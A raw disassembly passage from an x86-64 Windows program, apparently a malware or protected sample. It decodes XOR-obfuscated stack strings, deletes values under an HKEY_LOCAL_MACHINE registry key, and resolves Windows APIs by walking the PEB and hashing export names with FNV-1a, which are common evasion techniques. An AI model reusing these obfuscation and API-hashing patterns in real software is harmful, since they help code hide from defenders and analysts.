movabs r13, 0x7d290e0310035ecb
movabs r12, 0xab7cc9f2dd21679c
movabs r15, 0x3a02a2e97078d7f5
movabs r14, 0x57ec36484da95f0e
mov rax, qword [rbp + 0x170]
test rax, rax
jne 0x1400448aa
cmp qword [rbp + 0x58], rax
je 0x140044444
mov byte [rbp - 0x23], al
mov byte [rbp - 0x22], al
movabs rbx, 0x518831d7e778b57e
movabs rdi, 0xf64fbaa0b996ae53
movabs rsi, 0x7d670e2310705ebc
movabs r8, 0x3b5e0502f04e3011
movabs r9, 0x3d9804d6439b45bb
movabs r10, 0x50549dfde047f9fa
movabs r11, 0x62396bc91e40e167
movabs rdx, 0x18a2033eac363218
movabs rax, 0x51dc3191e737b52d
mov qword [rbp + 0xd70], rax
movabs rax, 0x3b1b0550f00f3046
mov qword [rbp + 0xd78], rax
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xd80], rax
movabs rax, 0x503b9d8ee028f988
mov qword [rbp + 0xd88], rax
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xd90], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xd98], rax
mov qword [rbp + 0xda0], r13
mov qword [rbp + 0xda8], r12
mov qword [rbp + 0xdb0], r15
mov qword [rbp + 0xdb8], r14
movabs rax, 0x562e2517b574cc2f
mov qword [rbp + 0xdc0], rax
movabs rax, 0xf9f2f1c64d8cc150
mov qword [rbp + 0xdc8], rax
movabs rax, 0xc48e75eda23ba7c9
mov qword [rbp + 0xdd0], rax
movabs rax, 0xd9959abc8145eec2
mov qword [rbp + 0xdd8], rax
movabs rax, 0x8f1338bbb2bb5353
mov qword [rbp + 0xde0], rax
movabs rax, 0xe2958b6a2d9d1824
mov qword [rbp + 0xde8], rax
movabs rax, 0x453e93c19360393d
mov qword [rbp + 0xdf0], rax
movabs rcx, 0x18106000df98bc56
mov qword [rbp + 0xdf8], rcx
movabs rax, 0x6616a6f9f6783f7
mov qword [rbp + 0xe00], rax
mov qword [rbp + 0xe08], rdx
movabs rax, 0xab09c9b1dd7d67c8
movabs rcx, 0x3a6ca28c700ad787
movabs r14, 0x579e362d4dff5f7a
movabs r15, 0x56402578b51dcc5c
movabs r12, 0xf993f1ab4dc5c10c
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], r8
mov qword [rbp + 0x620], r9
mov qword [rbp + 0x628], r10
mov qword [rbp + 0x630], r11
mov qword [rbp + 0x638], rdi
mov qword [rbp + 0x640], rsi
mov qword [rbp + 0x648], rax
mov qword [rbp + 0x650], rcx
mov qword [rbp + 0x658], r14
mov qword [rbp + 0x660], r15
mov qword [rbp + 0x668], r12
movabs r13, 0xc4c875cda25ea7ae
mov qword [rbp + 0x670], r13
movabs rax, 0xd9b59ad98129eeab
mov qword [rbp + 0x678], rax
movabs rax, 0x8f7038deb2c35316
mov qword [rbp + 0x680], rax
movabs rax, 0xe2fa8b032de91851
mov qword [rbp + 0x688], rax
movabs rax, 0x454e938e93403953
mov qword [rbp + 0x690], rax
movabs rax, 0x187e606fdff1bc22
mov qword [rbp + 0x698], rax
movabs rax, 0x6616a6f9f3b8384
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x6a8], rdx
xor eax, eax
mov byte [rbp - 0x21], al
movdqa xmm0, xmmword [rbp + 0xd70]
pxor xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x610], xmm0
movdqa xmm1, xmmword [rbp + 0xd80]
pxor xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x620], xmm1
movdqa xmm0, xmmword [rbp + 0xd90]
pxor xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x630], xmm0
movdqa xmm1, xmmword [rbp + 0xda0]
pxor xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x640], xmm1
movdqa xmm0, xmmword [rbp + 0xdb0]
pxor xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x650], xmm0
movdqa xmm1, xmmword [rbp + 0xdc0]
pxor xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x660], xmm1
movdqa xmm0, xmmword [rbp + 0xdd0]
pxor xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm1, xmmword [rbp + 0xde0]
pxor xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm0, xmmword [rbp + 0xdf0]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmm1, xmmword [rbp + 0xe00]
pxor xmm1, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x6a0], xmm1
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x32f0]
call fcn.14004f3a0
nop
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x2011f
lea r8, [rbp + 0x32f0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x68]
call fcn.140037660
nop
lea rcx, [rbp + 0x32f0]
call fcn.14002fb40
cmp qword [rsp + 0x68], 0
jne 0x140043cc8
xor eax, eax
mov byte [rbp - 0x20], al
mov byte [rbp - 0x1f], al
movabs rax, 0x51dc3191d607851d
movabs rdi, 0x3b1b0550f00f3046
movabs rsi, 0x51dc3191e737b52d
mov qword [rbp + 0x1230], rsi
mov qword [rbp + 0x1238], rdi
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdi
xor eax, eax
mov byte [rbp - 0x1e], al
movdqa xmm0, xmmword [rbp + 0x1230]
pxor xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x3550]
call fcn.14002b040
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.14003bdb0
movzx ebx, al
jmp 0x140043f26
mov edx, 0x5c
mov rbx, 0xffffffffffffffff
mov r8, rbx
lea rcx, [rbp + 0x48]
call fcn.14004f1d0
lea r8, [rax + 1]
lea rcx, [rbp - 0x1d]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xa28]
call fcn.140051ba0
or dword [rsp + 0x70], 0x200
cmp qword [rbp + 0xa38], 0
jne 0x140043d9f
xor eax, eax
mov byte [rbp - 0x1c], al
mov byte [rbp - 0x1b], al
movabs rax, 0x51dc3191d507851d
movabs rdi, 0x3b1b0550f00f3046
movabs rsi, 0x51dc3191e737b52d
mov qword [rbp + 0x1240], rsi
mov qword [rbp + 0x1248], rdi
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rdi
xor eax, eax
mov byte [rbp - 0x1a], al
movdqa xmm0, xmmword [rbp + 0x1240]
pxor xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x3570]
call fcn.14002b040
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.14003bdb0
movzx ebx, al
jmp 0x140043f19
mov dword [rsp + 0x20], 0x2011f
lea r9, [rbp + 0xa28]
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa24]
lea rcx, [rsp + 0x68]
call fcn.140037890
cmp dword [rax], 0
je 0x140043e69
mov dword [rsp + 0x20], 0x2011f
lea r9, [rbp + 0xa28]
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa20]
lea rcx, [rsp + 0x68]
call fcn.1400377d0
cmp dword [rax], 0
je 0x140043e69
xor eax, eax
mov byte [rbp - 0x19], al
mov byte [rbp - 0x18], al
movabs rax, 0x51dc3191d407851d
movabs rdi, 0x3b1b0550f00f3046
movabs rsi, 0x51dc3191e737b52d
mov qword [rbp + 0x1250], rsi
mov qword [rbp + 0x1258], rdi
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdi
xor eax, eax
mov byte [rbp - 0x17], al
movdqa xmm0, xmmword [rbp + 0x1250]
pxor xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x1f0], xmm0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x3590]
jmp 0x140043d83
lea rdx, [rbp + 0x1538]
lea rcx, [rsp + 0x68]
call fcn.140038320
nop
cmp byte [rbp + 0x1550], 1
je 0x140043f5e
xor eax, eax
mov byte [rbp - 0x16], al
mov byte [rbp - 0x15], al
movabs rax, 0x51dc3191d307851d
movabs rcx, 0x3b1b0550f00f3046
movabs rdx, 0x51dc3191e737b52d
mov qword [rbp + 0x1260], rdx
mov qword [rbp + 0x1268], rcx
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rcx
xor eax, eax
mov byte [rbp - 0x14], al
movdqa xmm0, xmmword [rbp + 0x1260]
pxor xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x3450]
call fcn.14002b040
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.14003bdb0
movzx ebx, al
lea rcx, [rbp + 0x1538]
call fcn.140038670
nop
lea rcx, [rbp + 0xa28]
call fcn.14002fb40
nop
lea rcx, [rsp + 0x68]
call fcn.140037610
nop
lea rcx, [rbp + 0x20]
call fcn.14002fad0
nop
lea rcx, [rbp + 0x48]
call fcn.14002fb40
nop
lea rcx, [rbp + 0x160]
call fcn.14002fb40
test bl, bl
je 0x140044f1d
jmp 0x1400448de
lea rcx, [rbp + 0x1538]
call fcn.140053ae0
mov rdi, qword [rax + 8]
mov rbx, qword [rax]
cmp rbx, rdi
je 0x140043fa7
nop word [rax + rax]
xor eax, eax
mov byte [rbp - 0x13], al
mov byte [rbp - 0x12], al
mov rcx, rbx
call fcn.14002afc0
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
add rbx, 0x28
cmp rbx, rdi
jne 0x140043f80
mov qword [rbp - 0x60], 0
mov dword [rbp - 0x58], 0
mov qword [rbp - 0x54], 0x20000000
mov dword [rbp - 0x4c], 0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x1270], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1278], rax
lea r8, [rbp - 0x11]
lea rdx, [rbp + 0x1270]
lea rcx, [rbp + 0x16f0]
call fcn.14004ed20
nop
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0
lea rax, [rbp - 0x78]
mov qword [rbp + 0x1280], rax
lea rax, [rbp - 0x60]
mov qword [rbp + 0x1288], rax
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x16d8]
call fcn.14004ed20
nop
xor eax, eax
mov byte [rbp - 0xf], al
mov byte [rbp - 0xe], al
movabs rax, 0x51dc31bfe719b503
movabs r14, 0x3b1b0550f00f3046
movabs r15, 0x51dc3191e737b52d
mov qword [rbp + 0x1290], r15
mov qword [rbp + 0x1298], r14
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], r14
xor eax, eax
mov byte [rbp - 0xd], al
movdqa xmm0, xmmword [rbp + 0x1290]
pxor xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x3330]
call fcn.14004f3a0
nop
xor eax, eax
mov byte [rbp - 0xc], al
mov byte [rbp - 0xb], al
movabs rax, 0x519131d7e776b568
movabs rcx, 0x3b770525f06b3029
movabs rdx, 0x3dfb04bf43a54582
movabs r12, 0x503b9d8ee028f988
mov qword [rbp + 0x1460], r15
mov qword [rbp + 0x1468], r14
movabs rbx, 0x3dfb04bf43d645e7
mov qword [rbp + 0x1470], rbx
mov qword [rbp + 0x1478], r12
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rcx
mov qword [rbp + 0x300], rdx
mov qword [rbp + 0x308], r12
xor eax, eax
mov byte [rbp - 0xa], al
movdqa xmm0, xmmword [rbp + 0x1460]
pxor xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1470]
pxor xmm1, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm1
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x3310]
call fcn.14004f3a0
lea r9, [rbp + 0x3330]
lea r8, [rbp + 0x3310]
lea rdx, [rbp + 0xa50]
lea rcx, [rsp + 0x68]
call fcn.140037940
lea rcx, [rbp + 0x3310]
call fcn.14002fb40
nop
lea rcx, [rbp + 0x3330]
call fcn.14002fb40
xor eax, eax
mov byte [rbp - 9], al
mov byte [rbp - 8], al
movabs rdi, 0x51b531e5e75eb560
movabs rsi, 0x3b720524f06e3021
movabs rax, 0x3d8b04f043b84588
movabs rcx, 0x50559de1e041f9fc
movabs rdx, 0x626e6b951e34e172
movabs r13, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xa90], r15
mov qword [rbp + 0xa98], r14
mov qword [rbp + 0xaa0], rbx
mov qword [rbp + 0xaa8], r12
movabs rbx, 0x626e6b951e34e101
mov qword [rbp + 0xab0], rbx
mov qword [rbp + 0xab8], r13
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rcx
mov qword [rbp + 0x410], rdx
mov qword [rbp + 0x418], r13
xor eax, eax
mov byte [rbp - 7], al
movdqa xmm0, xmmword [rbp + 0xa90]
pxor xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [rbp + 0xaa0]
pxor xmm1, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [rbp + 0xab0]
pxor xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x3370]
call fcn.14004f3a0
lea r9, [rbp + 0x16f0]
lea r8, [rbp + 0x3370]
lea rdx, [rbp + 0xa4c]
lea rcx, [rsp + 0x68]
call fcn.1400379a0
lea rcx, [rbp + 0x3370]
call fcn.14002fb40
xor eax, eax
mov byte [rbp - 6], al
mov byte [rbp - 5], al
movabs rax, 0x3d8e04fe43b84588
movabs rcx, 0x50749dfae041f9ec
movabs rdx, 0x62016bfc1e40e171
movabs rbx, 0xf620bac4b98bae54
mov qword [rbp + 0xac0], r15
mov qword [rbp + 0xac8], r14
movabs r8, 0x3dfb04bf43d645e7
mov qword [rbp + 0xad0], r8
mov qword [rbp + 0xad8], r12
movabs r8, 0x626e6b951e34e101
mov qword [rbp + 0xae0], r8
mov qword [rbp + 0xae8], r13
mov qword [rbp + 0x3c0], rdi
mov qword [rbp + 0x3c8], rsi
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], rdx
mov qword [rbp + 0x3e8], rbx
xor eax, eax
mov byte [rbp - 4], al
movdqa xmm0, xmmword [rbp + 0xac0]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm1, xmmword [rbp + 0xad0]
pxor xmm1, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x3d0], xmm1
movdqa xmm0, xmmword [rbp + 0xae0]
pxor xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3350]
call fcn.14004f3a0
lea r9, [rbp + 0x16d8]
lea r8, [rbp + 0x3350]
lea rdx, [rbp + 0xa48]
lea rcx, [rsp + 0x68]
call fcn.1400379a0
lea rcx, [rbp + 0x3350]
call fcn.14002fb40
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x160]
call fcn.14002fba0
nop
lea rcx, [rbp + 0x16d8]
call fcn.140001e50
nop
lea rcx, [rbp + 0x16f0]
call fcn.140001e50
nop
lea rcx, [rbp + 0x1538]
call fcn.140038670
nop
lea rcx, [rbp + 0xa28]
call fcn.14002fb40
nop
lea rcx, [rsp + 0x68]
call fcn.140037610
mov rax, qword [rbp + 0x170]
test rax, rax
jne 0x1400448aa
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x15d8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400444e0
mov r9, qword [rbp + 0x15e0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400444d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400444b0
cmp r10d, esi
jne 0x140044627
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004462f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140044627
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140044627
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + rdi]
mov r10d, 0x811c9dc5
movzx ebx, byte [rdx + rdi]
lea r9, [rdx + 1]
add r9, rdi
test bl, bl
je 0x140044567
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140044540
cmp r10d, r8d
je 0x140044579
test r11d, r11d
jne 0x140044520
mov rax, qword [rax]
jmp 0x140044470
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140044631
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140044631
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400445e4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400445c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140044616
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400445f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044470
xor ebx, ebx
movabs rax, 0x36f265c1ae65fe7e
movabs rcx, 0x54697715d0221021
movabs rdx, 0x3dfb04bf43d64595
movabs r9, 0x503b9d8ee028f988
movabs r8, 0x51dc3191e737b52d
mov qword [rbp + 0x1480], r8
movabs r13, 0x3b1b0550f00f3046
mov qword [rbp + 0x1488], r13
movabs r8, 0x3dfb04bf43d645e7
mov qword [rbp + 0x1490], r8
mov qword [rbp + 0x1498], r9
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rcx
mov qword [rbp + 0x320], rdx
mov qword [rbp + 0x328], r9
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [rbp + 0x1490]
pxor xmm1, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x320], xmm1
movabs rcx, 0x3da95ed2c76a9476
movabs rdi, 0x9541ceaad69b8e5f
movabs rsi, 0xf467e7365707ebf
movabs r8, 0x5572637084285e22
movabs r9, 0x5f9a77ca63b76583
movabs r10, 0x355cefef94089ce4
movabs r11, 0x110f0ef96e14cd75
movabs rax, 0x51dc3191e737b52d
movabs r15, 0x994cf9c2fe7a47e8
movabs r12, 0x3a02a2e97078f9a8
movabs r14, 0x57ec36484da95f0e
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0xc28], r13
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xc30], rax
movabs rax, 0x503b9d8ee028f988
mov qword [rbp + 0xc38], rax
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xc40], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xc48], rax
movabs rdx, 0x7d290e0310035ecb
mov qword [rbp + 0xc50], rdx
movabs rax, 0xab7cc9f2dd21679c
mov qword [rbp + 0xc58], rax
movabs rax, 0x3a02a2e97078d7f5
mov qword [rbp + 0xc60], rax
mov qword [rbp + 0xc68], r14
mov qword [rbp + 0x550], rcx
mov qword [rbp + 0x558], r8
mov qword [rbp + 0x560], r9
mov qword [rbp + 0x568], r10
mov qword [rbp + 0x570], r11
mov qword [rbp + 0x578], rdi
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x588], r15
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x598], r14
movdqa xmm0, xmmword [rbp + 0xc20]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x550], xmm0
movdqa xmm1, xmmword [rbp + 0xc30]
pxor xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm1
movdqa xmm0, xmmword [rbp + 0xc40]
pxor xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x570], xmm0
movdqa xmm1, xmmword [rbp + 0xc50]
pxor xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x580], xmm1
movdqa xmm0, xmmword [rbp + 0xc60]
pxor xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x590], xmm0
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0x550]
jmp 0x1400436bf
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x14e0]
call fcn.14004f370
nop
lea rcx, [rbp + 0x20]
call fcn.14002fad0
nop
lea rcx, [rbp + 0x48]
call fcn.14002fb40
nop
lea rcx, [rbp + 0x160]
call fcn.14002fb40
xor esi, esi
mov edi, 0xabcbdc25
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12a0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044970
mov r8, qword [rbp + 0x12a8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140044967
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140044940
cmp r9d, esi
jne 0x140044ab5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140044abd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140044ab5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140044ab5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x1400449f8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400449d1
cmp r9d, edi
je 0x140044a0a
test r10d, r10d
jne 0x1400449b0
mov rax, qword [rax]
jmp 0x140044900
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x140044abf
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x140044abf
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140044a74
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140044a50
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140044aa4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140044a80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044900
xor edx, edx
call rdx
mov rbx, rax
lea rcx, [rbp + 0x1518]
call fcn.14001c850
mov qword [rbp + 0x1530], rbx
lea rcx, [rbp + 0x14e0]
call fcn.14002afc0
mov rcx, qword [rbp + 0x1530]
test rcx, rcx
jne 0x140044af3
xor ebx, ebx
jmp 0x140044afe
mov rdx, rax
call fcn.14006ba40
mov rbx, rax
lea rcx, [rbp + 0x14c0]
call fcn.14001c850
mov qword [rbp + 0x14d8], rbx
test rbx, rbx
jne 0x140044f2e
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x15e8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044bb0
mov r9, qword [rbp + 0x15f0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140044ba7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140044b80
cmp r10d, esi
jne 0x140044cf7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140044cff
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r14d, edx
add r14, rdi
cmp r14, rdi
je 0x140044cf7
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140044cf7
mov r12d, dword [r14 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140044c37
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140044c10
cmp r10d, r8d
je 0x140044c49
test r11d, r11d
jne 0x140044bf0
mov rax, qword [rax]
jmp 0x140044b40
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov eax, dword [r14 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r14
jbe 0x140044d01
lea rax, [r14 + r13]
cmp rbx, rax
jae 0x140044d01
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140044cb4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140044c90
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140044ce6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140044cc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044b40
xor ebx, ebx
movabs r15, 0x51dc3191e737b52d
mov qword [rbp + 0x14a0], r15
movabs r14, 0x3b1b0550f00f3046
mov qword [rbp + 0x14a8], r14
movabs r13, 0x3dfb04bf43d645e7
mov qword [rbp + 0x14b0], r13
movabs r12, 0x503b9d8ee028f988
mov qword [rbp + 0x14b8], r12
movabs rax, 0x36f265c1ae65fe7e
mov qword [rbp + 0x330], rax
movabs rcx, 0x54697715d0221021
mov qword [rbp + 0x338], rcx
